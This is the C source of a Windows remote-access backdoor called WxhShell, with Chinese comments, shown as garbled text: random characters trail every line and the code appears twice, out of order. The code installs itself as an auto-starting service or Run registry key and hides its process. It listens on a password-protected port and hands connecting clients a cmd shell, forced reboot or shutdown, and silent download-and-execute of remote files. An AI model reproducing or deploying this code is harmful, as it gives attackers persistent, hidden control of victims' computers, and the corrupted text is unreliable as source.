    } 7u3b aM  
  // 关机 @/2wmza%2  
  case 'd': { E#V-F-@2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FCB/FtI0  
    if(Boot(SHUTDOWN)) d@`:9 G3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /t6u"I~  
    else { Hr,gV2n  
    closesocket(wsh); =/'*(\C2  
    ExitThread(0); -8kW!F  
    } _j<M}  
    break; iuk8c.TAR  
    } mS;Q8Crh  
  // 获取shell r_<i*l.  
  case 's': { \C\y' H5  
    CmdShell(wsh); A)a+LW'=u  
    closesocket(wsh); 4Jy,IKPp  
    ExitThread(0); <W|{)U?p  
    break; kX .1#%Ex  
  } b6$A@b  
  // 退出 9oN'.H^  
  case 'x': { )PNH| h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8uD%]k=#!  
    CloseIt(wsh); <^c0bY1  
    break; nk,Mo5iqV  
    } T`<k4ur  
  // 离开 O*Pe [T5x'  
  case 'q': { R/FV'qy]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ytnr$*5.  
    closesocket(wsh); 1ZW'PXUZ  
    WSACleanup(); {[y"]_B4  
    exit(1); (S 3kP5:F  
    break; jN{xpd  
        } en6AAr:U}  
  } ieoUZCO^r\  
  } {"AYOc>2|  
g#nsA(_L  
  // 提示信息 X?xm1|\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YZu# 0)  
} >d[vHyA~!D  
  } !b8|{#qh.  
&I_!&m~  
  return; bGnJ4R3J  
} ptL}F~  
#yOY&W:N  
// shell模块句柄 J3E:r_+  
int CmdShell(SOCKET sock) BrmFwXLP"  
{ (D3m5fO  
STARTUPINFO si;  .5r0%  
ZeroMemory(&si,sizeof(si)); T1 .@Tbbt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K4L#%KUPW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?Og ;W9i  
PROCESS_INFORMATION ProcessInfo; F<<H [,%0  
char cmdline[]="cmd"; >(J!8*7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l),13"?C(  
  return 0; 32'9Ch.  
} %R"nm  
:#KURYO<  
// 自身启动模式 !H.lVA  
int StartFromService(void) SvJ8Kl OV  
{ E*"E{E7  
typedef struct v^E2!X  
{ + a@SdWf  
  DWORD ExitStatus; bTKxv<  
  DWORD PebBaseAddress; 0 1w/,r  
  DWORD AffinityMask; )Em,3I/.l  
  DWORD BasePriority; o : DnZN  
  ULONG UniqueProcessId; #?| z&9  
  ULONG InheritedFromUniqueProcessId; 3{E}^ve  
}   PROCESS_BASIC_INFORMATION; S8<aq P  
\"j1fAD!  
PROCNTQSIP NtQueryInformationProcess; }('QIvq2  
6% axbB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K?eo)|4)DB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g 0=t9J  
v65r@)\`  
  HANDLE             hProcess; ;:1mv  
  PROCESS_BASIC_INFORMATION pbi; OPh@H.)^  
$$>,2^qr&L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5< nK.i,  
  if(NULL == hInst ) return 0; 2Vr'AEIQ  
+}'K6x_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m>:ig\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nJw1Sl5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l,8| E  
ovVU%2o1b  
  if (!NtQueryInformationProcess) return 0; }RK9Onh3G  
Jrl xa3 [  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >rGlj  
  if(!hProcess) return 0; SjU6+|l  
m8`A~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1 crjRbi  
F.hC%Ncu  
  CloseHandle(hProcess); OQyOv%g5C  
.=D6<4#t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;^]F~x}  
if(hProcess==NULL) return 0; SS-   
}DwXs`M7  
HMODULE hMod; Q5ao2-\   
char procName[255]; 4 .qjTR  
unsigned long cbNeeded; VW/1[?HG5  
h@8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,+{ 43;a  
N/p_6GYMa  
  CloseHandle(hProcess); v<**GW]neD  
BJTljg( {o  
if(strstr(procName,"services")) return 1; // 以服务启动 0eIR)#j*  
KcE=m\h  
  return 0; // 注册表启动 BC+qeocg  
} U[u6UG  
tL|Q{+i yE  
// 主模块 W[ DB !ue  
int StartWxhshell(LPSTR lpCmdLine) `WL*Jb  
{ S([De"y  
  SOCKET wsl; Po[zzj>m  
BOOL val=TRUE; b87d'# .  
  int port=0; r e2%e-F"  
  struct sockaddr_in door; V00zk`PH  
4|UIyDt8  
  if(wscfg.ws_autoins) Install(); Pr"ESd>Y  
qKXn=J/0tA  
port=atoi(lpCmdLine); s,= ^V/c  
([A;~ p;n  
if(port<=0) port=wscfg.ws_port; _ 9dV 3I  
Adm`s .  
  WSADATA data; 9`{cX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'rgV]Oy  
vJs /ett  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7 #`:m|$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "~ 6B C  
  door.sin_family = AF_INET; k5/}S@F8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t!$/r]XM h  
  door.sin_port = htons(port); :yeTzIz]  
?T&D@Ohsx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sh RvwE[  
closesocket(wsl); r}w 9?s^rB  
return 1; LGkKR{ep(  
} 'aJ?Syn  
?T"crX  
  if(listen(wsl,2) == INVALID_SOCKET) { ]  D(3   
closesocket(wsl); bE{`g]C5  
return 1; l;fH5z  
} %]` WsG  
  Wxhshell(wsl); pD9c%P  
  WSACleanup(); 6>Fw,$  
-K{ID$!p  
return 0; !~#31kL&  
q]aRJ`9f  
} [S%  
= zSrre  
// 以NT服务方式启动 Ra5cfkH;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r_",E=e  
{ ~*qGH  
DWORD   status = 0; g|oPRC$I'  
  DWORD   specificError = 0xfffffff; VI4d/2e  
@QEV l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &nss[w$%C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; POf \l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YZ}gZQ.A0  
  serviceStatus.dwWin32ExitCode     = 0; /\.kH62  
  serviceStatus.dwServiceSpecificExitCode = 0; 4#T'Fy].  
  serviceStatus.dwCheckPoint       = 0; aVlHY E  
  serviceStatus.dwWaitHint       = 0; ME(!xI//JZ  
fHiCuF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mTt 9 o9E  
  if (hServiceStatusHandle==0) return; T &1sfS,  
E_z@\z MB  
status = GetLastError(); Zo` ^pQS  
  if (status!=NO_ERROR) )xeVoAg  
{ t t=$:}A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t%%I.zIV7  
    serviceStatus.dwCheckPoint       = 0; `u-}E9{  
    serviceStatus.dwWaitHint       = 0; lZ|Ao0(  
    serviceStatus.dwWin32ExitCode     = status; ;Mc}If*  
    serviceStatus.dwServiceSpecificExitCode = specificError; P%.5xYn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CfAqMH*ip  
    return; T"z!S0I  
  } tPUQ"S  
Ldu!uihx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e1#}/U  
  serviceStatus.dwCheckPoint       = 0; ] 3v  
  serviceStatus.dwWaitHint       = 0; W{`;][  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;pNfdII(  
} O =fT;&%.  
^ZsME,  
// 处理NT服务事件,比如:启动、停止 1_' ZbZv4h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tf,_4_7#$  
{ f,$CiZ"  
switch(fdwControl) `4o;Lz~  
{ IRQ(/:]  
case SERVICE_CONTROL_STOP: %ug`dZ/  
  serviceStatus.dwWin32ExitCode = 0; 5H79) n>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OygYP  
  serviceStatus.dwCheckPoint   = 0; ?E`J-ncP  
  serviceStatus.dwWaitHint     = 0; F"q3p4-<>  
  { 1)%o:Xy o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9}4L 8?2  
  } w-KtxG(  
  return; QM IQy  
case SERVICE_CONTROL_PAUSE: _CgD7d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FvkKM+?F  
  break; XDn$=`2  
case SERVICE_CONTROL_CONTINUE: YC$pT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6O"0?wG+  
  break; &^}w|J?  
case SERVICE_CONTROL_INTERROGATE: '? d[ ip  
  break; E?;W@MJi  
}; m'S-h'a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BH}u\K  
} N\p3*#M  
Z d%*,\`S  
// 标准应用程序主函数 5Hr"}|J<8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UkdQ#b1  
{ [~J4:yDd=  
N9i>81tY  
// 获取操作系统版本 :( `Q4D~l  
OsIsNt=GetOsVer(); .{Xi&[jw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k~?@~xm,R  
Awj`6GeJ  
  // 从命令行安装 f_ ::?  
  if(strpbrk(lpCmdLine,"iI")) Install(); -Ju!2by  
wC[J=:]tA5  
  // 下载执行文件 -0W;b"]+A  
if(wscfg.ws_downexe) { +n0y/0Au  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SZgH0W("L  
  WinExec(wscfg.ws_filenam,SW_HIDE); |h3 YL!  
} qn<~ LxQ  
^Ab|\ 5^3  
if(!OsIsNt) { G~_dSa@g G  
// 如果时win9x,隐藏进程并且设置为注册表启动 cgU7)`0j  
HideProc(); ]@'YlPU  
StartWxhshell(lpCmdLine); L 0|u^J  
} 0uZHH  
else Di&tm1R1  
  if(StartFromService()) 2sXWeiJy;  
  // 以服务方式启动 )'qZ6%  
  StartServiceCtrlDispatcher(DispatchTable); s^ 6S{XJ  
else Tx!mW-Lt  
  // 普通方式启动 K <0ItN v  
  StartWxhshell(lpCmdLine); p1Els /|  
WUHijHo5(8  
return 0; NZ Xmrc{S  
} :+u?A  
b&!X#3(KT  
[1s B  
Y+D#Dv |  
=========================================== Kj'uTEM  
s Ce{V*ua  
nTLdknh"  
+VTMa9d  
#vIF]Y  
IQR?n}ce  
" wc ^z9y  
S3 &L  
#include <stdio.h> TEY%OI zU+  
#include <string.h> M*t{?o/t;  
#include <windows.h> [1N*mY;  
#include <winsock2.h> 2r1., 1  
#include <winsvc.h> s:Memvf  
#include <urlmon.h> chxO*G  
,l~i|_  
#pragma comment (lib, "Ws2_32.lib") $oh}!Smt  
#pragma comment (lib, "urlmon.lib") lwa  
]/U)<{6  
#define MAX_USER   100 // 最大客户端连接数 :V8 \^  
#define BUF_SOCK   200 // sock buffer Wz9 }glr  
#define KEY_BUFF   255 // 输入 buffer * c xYB  
ab6KK$s  
#define REBOOT     0   // 重启 Ru2kC} Dx!  
#define SHUTDOWN   1   // 关机 =n9|r.\&uJ  
/ S]<MS  
#define DEF_PORT   5000 // 监听端口 LA1UD+S  
^f@EDG8  
#define REG_LEN     16   // 注册表键长度 ^'#vUj:"  
#define SVC_LEN     80   // NT服务名长度 ]81P<Y(7  
'b%S3)}  
// 从dll定义API h\jwXMi,tj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d?'q(6&H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XO219   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3^C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2b2/jzO}J  
hbn2(e;FZ  
// wxhshell配置信息 3PPN_Z  
struct WSCFG { g&&5F>mF  
  int ws_port;         // 监听端口 {8'I+-  
  char ws_passstr[REG_LEN]; // 口令 iFpJ /L  
  int ws_autoins;       // 安装标记, 1=yes 0=no .]P@{T||Y  
  char ws_regname[REG_LEN]; // 注册表键名 IE,xiV  
  char ws_svcname[REG_LEN]; // 服务名 >=$( ,8"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 85m_jmh[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tK0?9M.)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V D-,)f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [$f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bh<)e5lP:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fsb_*sh&  
Q/L:0ovR  
}; :IvKxOv  
 qauk,t  
// default Wxhshell configuration 66!cfpM  
struct WSCFG wscfg={DEF_PORT, |h4aJv  
    "xuhuanlingzhe", >}Fe9Y.o  
    1, 6f(K'v  
    "Wxhshell", xV}-[W5sr'  
    "Wxhshell", 6o!+E@V b  
            "WxhShell Service", ?o?~Df&  
    "Wrsky Windows CmdShell Service", "1yXOy^2  
    "Please Input Your Password: ", Fn1|Wt*  
  1, J1KV?aR  
  "http://www.wrsky.com/wxhshell.exe", \= =rdW-  
  "Wxhshell.exe" p78X,44xg  
    }; *+rO3% ;t  
;(5b5PA  
// 消息定义模块 iW9G0Ay  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '+JU(x{CCl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M|6 l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B^Fe.ty  
char *msg_ws_ext="\n\rExit."; 1>|2B&_^  
char *msg_ws_end="\n\rQuit."; 3%p^>D\  
char *msg_ws_boot="\n\rReboot..."; 4At{(fw W  
char *msg_ws_poff="\n\rShutdown..."; |Q[[WHqj2f  
char *msg_ws_down="\n\rSave to "; \ ?sM  
7&-B6Y4  
char *msg_ws_err="\n\rErr!"; +O8rjVg)  
char *msg_ws_ok="\n\rOK!"; `2.[8%6  
,* !HN &  
char ExeFile[MAX_PATH]; S&^i*R4]  
int nUser = 0; Xz4T_-X8d  
HANDLE handles[MAX_USER]; E>NRC\^@  
int OsIsNt; kLtm_  
%a$ l%8j&  
SERVICE_STATUS       serviceStatus; DSf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [Wf%iwB  
.?|pv}V  
// 函数声明 !,WO]O v  
int Install(void); gn4+$f~w  
int Uninstall(void); u?,M`w0'  
int DownloadFile(char *sURL, SOCKET wsh); OTwIR<_B+  
int Boot(int flag); C3>&O?7J*7  
void HideProc(void); qy|[V   
int GetOsVer(void); FX}kH]  
int Wxhshell(SOCKET wsl); =Kqb V{!  
void TalkWithClient(void *cs); <#HQU<  
int CmdShell(SOCKET sock); ROqz$yY  
int StartFromService(void); VI_8r5o  
int StartWxhshell(LPSTR lpCmdLine);  <m7m  
}g&A=u_2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sbqAjm}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Jvac|rN  
X"lPXoCN  
// 数据结构和表定义 0&wbGbg(W  
SERVICE_TABLE_ENTRY DispatchTable[] = )"KKBil0  
{ p(vmMWR!  
{wscfg.ws_svcname, NTServiceMain}, qJN!L))  
{NULL, NULL} Ps<;DE\$f4  
}; =cz^g^7  
<MdIQ;I8  
// 自我安装 oU"!"t  
int Install(void) ~FCkr&Ky3  
{ u2\QhP 9  
  char svExeFile[MAX_PATH]; apy9B6%PJ+  
  HKEY key; j AXKp b  
  strcpy(svExeFile,ExeFile); J;8M. _  
KUD&vqx3  
// 如果是win9x系统,修改注册表设为自启动 C ^QpVt-T  
if(!OsIsNt) { jTHgh>n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wX/0.aZ|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z'"e|)  
  RegCloseKey(key); Es]:-TR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EnW}>XN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,r_%p<lOFu  
  RegCloseKey(key); ?/3'j(Gk  
  return 0; b}<?& @  
    } yVZLZLm  
  } ykMdH:  
} n[+$a)$8  
else { sQ"; t=yC  
5TynAiSD_>  
// 如果是NT以上系统,安装为系统服务 1|bg;X9+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <b>g^ `}?D  
if (schSCManager!=0) + PAb+E|,  
{ {#U 3A_y  
  SC_HANDLE schService = CreateService W!jg  
  ( C"7-lz  
  schSCManager, yX7P5c.   
  wscfg.ws_svcname, }+] l_!v*  
  wscfg.ws_svcdisp, X5_T?  
  SERVICE_ALL_ACCESS, @y1:=["b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N1!O8"Q|*3  
  SERVICE_AUTO_START, ^K3Bn  
  SERVICE_ERROR_NORMAL, -F7P$/9  
  svExeFile, $Sls9H+.  
  NULL, l~(A(1  
  NULL, " i!Xiy~  
  NULL, cZR9rnZT  
  NULL, , ;$SRQ.  
  NULL y <] x  
  ); qe[P'\]L  
  if (schService!=0) H3#rFO"C*  
  { W6^YFN  
  CloseServiceHandle(schService); o$q})!  
  CloseServiceHandle(schSCManager); Gov]^?^D-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M4}b l h#  
  strcat(svExeFile,wscfg.ws_svcname); ;)Fc@OXN>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W @ ?*~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fswr @du  
  RegCloseKey(key); K3dg.>O  
  return 0; WzhY4"p  
    } IeN~ E'~  
  } lY$9-Q(  
  CloseServiceHandle(schSCManager); ;s\ck:Xg  
} ^!A@:}t>  
} /0 2-0mNv  
;Z6ngS  
return 1; B>r>z5  
} sD=iHO Am  
[cso$Tv  
// 自我卸载 R1?LB"aN  
int Uninstall(void) HRg< f= oz  
{ >xCc#]v&  
  HKEY key; AFdBf6/" i  
+yd{-iH  
if(!OsIsNt) { n?mV(?N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { | Kw}S/F  
  RegDeleteValue(key,wscfg.ws_regname);  ]j:aO  
  RegCloseKey(key);  Uys[0n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~5:-;ZbZ  
  RegDeleteValue(key,wscfg.ws_regname); bIy:~z5   
  RegCloseKey(key); <wTD}.n  
  return 0; 0#: St  
  } wOV}<.W  
} k#"}oI{< 6  
} :{=2ih-}  
else { \5DOp-2  
 ovsI2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K<E|29t^k  
if (schSCManager!=0) -'Oq.$Qq  
{ N$! Vm(S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q?$<{Z"  
  if (schService!=0) } m&La4E  
  { ~y" ^t@!E  
  if(DeleteService(schService)!=0) { }@TtX\7(D  
  CloseServiceHandle(schService); >Pwu>  
  CloseServiceHandle(schSCManager); ? t_$C,A+  
  return 0; :9]"4ktoJ  
  } w,VUWja  
  CloseServiceHandle(schService); 1kczlTF  
  } d>hLnz1O  
  CloseServiceHandle(schSCManager); krecUpo  
} DAVgP7h'  
} ^3lEfI<pBm  
!Ct'H1J-  
return 1; 94'0X  
} ^GC 8^f  
s)5W:`MH?  
// 从指定url下载文件 ueP a4e!  
int DownloadFile(char *sURL, SOCKET wsh) k:DAko}  
{ G F17oMi  
  HRESULT hr; ?TMrnR/d  
char seps[]= "/"; Al^h^ 9tJ  
char *token; h e1=  
char *file; \(;X3h  
char myURL[MAX_PATH]; 8/T,.<5  
char myFILE[MAX_PATH]; l'FNp  
M ]uO%2  
strcpy(myURL,sURL); I%tJLdL  
  token=strtok(myURL,seps); :>o2UH  
  while(token!=NULL) (aX6jdvo  
  { xB|?}uS-  
    file=token; Uu(FFd~3  
  token=strtok(NULL,seps); "zx4k8  
  } h ngdeGa  
M?.[Rr-uw  
GetCurrentDirectory(MAX_PATH,myFILE); r8TNl@Z  
strcat(myFILE, "\\"); '[`pU>9  
strcat(myFILE, file); {wCzm  
  send(wsh,myFILE,strlen(myFILE),0); !~QmY,R  
send(wsh,"...",3,0); ";*Iwd*V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 't#E-+o  
  if(hr==S_OK) k*k 9hv?  
return 0; ^k}%k#)  
else {Ax{N  
return 1; ;To][J  
XHYVcwmDz-  
} +&qj`hA-b  
]}A3Pm- t*  
// 系统电源模块 ES9|eo6  
int Boot(int flag) &vV_,$  
{ "2>_eZ#b  
  HANDLE hToken; C,G$C7$%  
  TOKEN_PRIVILEGES tkp; <,huajQs  
zOT(>1'  
  if(OsIsNt) { u 4$$0 `  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); egh_1Wg2a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ST25RJC  
    tkp.PrivilegeCount = 1; 0k 6S`e9gI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0})mCVBY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U`)o$4Bq  
if(flag==REBOOT) { a6epew!2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3!2TE-  
  return 0; &pEr;:E  
} Hi Pd|D  
else { 'bx$}w N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HWxwG'EEY,  
  return 0; \Ss6F]K]  
} IrTMZG  
  } f) @-X!  
  else { ?0hEd9TU  
if(flag==REBOOT) { 9MR,3/&N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Mhiz{Td  
  return 0; ~-zch=+u  
} @ !m+s~~]h  
else { x$;kA}gy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g4NbzU[I  
  return 0; $i.)1.x  
} jyFXAs2  
} /qObXI  
1jkMje  
return 1; .vk|aIG  
} az;o7[rI^  
tp?< e  
// win9x进程隐藏模块 ;nZN}&m   
void HideProc(void) q8[I` V{  
{ (vb8Mk  
=x^b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VtzX I2.2  
  if ( hKernel != NULL ) 4pC.mRu 0  
  { >Z&Y!w'A|u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *\T ]Z&E"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FCPi U3  
    FreeLibrary(hKernel); #azD& 6`  
  } 2#t35fU  
$*z>t*{7  
return; #t?tt,nc}  
} j/PNi@  
iw?*Wp25  
// 获取操作系统版本 ZINqIfc  
int GetOsVer(void) L0dj 76'M  
{ iR6w)  
  OSVERSIONINFO winfo; `2.2; Vk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oRQJ YH  
  GetVersionEx(&winfo);  b@m\ca  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KL4vr|i,  
  return 1; t8\XO j  
  else 7-`iI(N<  
  return 0; i! DO  
} kCVA~ %d7  
<yz&> +9,  
// 客户端句柄模块 +c-?1j  
int Wxhshell(SOCKET wsl) CF_pIfbaf  
{ 4;.y>~z  
  SOCKET wsh; iQJ[?l`  
  struct sockaddr_in client; 0tyS=X;#e  
  DWORD myID; OD`?BM  
v\3}5v%YI  
  while(nUser<MAX_USER) 3r]N\c  
{ - }2AXP2q  
  int nSize=sizeof(client); @ZTsl ?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 72;ot`  
  if(wsh==INVALID_SOCKET) return 1; rXG?'jN  
R0_O/o+{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QGpAG#M9?  
if(handles[nUser]==0) "l.1 UB&  
  closesocket(wsh); 41Htsj  
else  mZ^ev;  
  nUser++; L6E8A?>5rD  
  } dzn[4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C=uYX"  
Uth H  
  return 0; 'I8K1Q=/  
} f!n0kXVu6U  
'&n4W7  
// 关闭 socket 5}" @$.{i  
void CloseIt(SOCKET wsh)  Q  
{ 5y%-K=d  
closesocket(wsh); i>}aQ:&^0  
nUser--; 8,m3]Lg  
ExitThread(0); %}0B7_6B+@  
} -T+7u  
qTD^Vz V  
// 客户端请求句柄 ]31UA>/TI  
void TalkWithClient(void *cs) Z<^TO1xs9B  
{ 6 7{>x[  
eg$y,Tx  
  SOCKET wsh=(SOCKET)cs; q|_t=YM@  
  char pwd[SVC_LEN]; +M/1,&  
  char cmd[KEY_BUFF]; y+g01z  
char chr[1]; x{.+i'  
int i,j; H@%Y"iIUP  
W{z{AxS  
  while (nUser < MAX_USER) { 4IH,:w=ofN  
t/`~(0F  
if(wscfg.ws_passstr) { H:jx_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {ICW"R lcs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d?Y|w3lB  
  //ZeroMemory(pwd,KEY_BUFF); X:1&Pdi  
      i=0; }aC@ov]2  
  while(i<SVC_LEN) { j68_3zpl  
DtrR< &m  
  // 设置超时 ~vMdIZ.h  
  fd_set FdRead; g!*5@k|C  
  struct timeval TimeOut; 7Fd`M To  
  FD_ZERO(&FdRead); Hz6tk9;w  
  FD_SET(wsh,&FdRead); r3_O?b  
  TimeOut.tv_sec=8; GL<u#[  
  TimeOut.tv_usec=0; -fILXu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iF#|Z$g-(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]/klKqz  
q*E<~!jL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xq<3*Bcw  
  pwd=chr[0]; d$}z,~sN  
  if(chr[0]==0xd || chr[0]==0xa) { ~  WO  
  pwd=0; X@ j.$0 eK  
  break; k6b0&il  
  } @V>BG8Y  
  i++; ?0%3~E`l:  
    } 1O{(9nNj  
8uZM%7kI6+  
  // 如果是非法用户,关闭 socket 2uln)]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4,)EG1  
} O7of9F~"  
{#o0vWS>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RL|d-A+;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); do$+ Eh  
v+b#8  
while(1) { ]QbT%0  
R5KOai!  
  ZeroMemory(cmd,KEY_BUFF); "xK#%eJjWd  
:fx^{N!T  
      // 自动支持客户端 telnet标准   >L_nu.x  
  j=0; *\!>22*  
  while(j<KEY_BUFF) { W7PL]5y&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =}1)/gcM  
  cmd[j]=chr[0]; }#Gq*^w  
  if(chr[0]==0xa || chr[0]==0xd) { 7kDqgod^A  
  cmd[j]=0; 1](PuQm7+  
  break; "AcC\iq  
  } ><Awk~KR  
  j++; 3<%ci&B  
    } ^_rBEyz@  
I)YUGA5  
  // 下载文件 j'QPJ(`~1l  
  if(strstr(cmd,"http://")) { mN&B|KWU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K275{ydN  
  if(DownloadFile(cmd,wsh)) %p t^?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B}U:c]  
  else +$;* "o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;b6h/*;'  
  } t3(~aH  
  else { k+5l  
BV-(`#~:y  
    switch(cmd[0]) { V=cJdF  
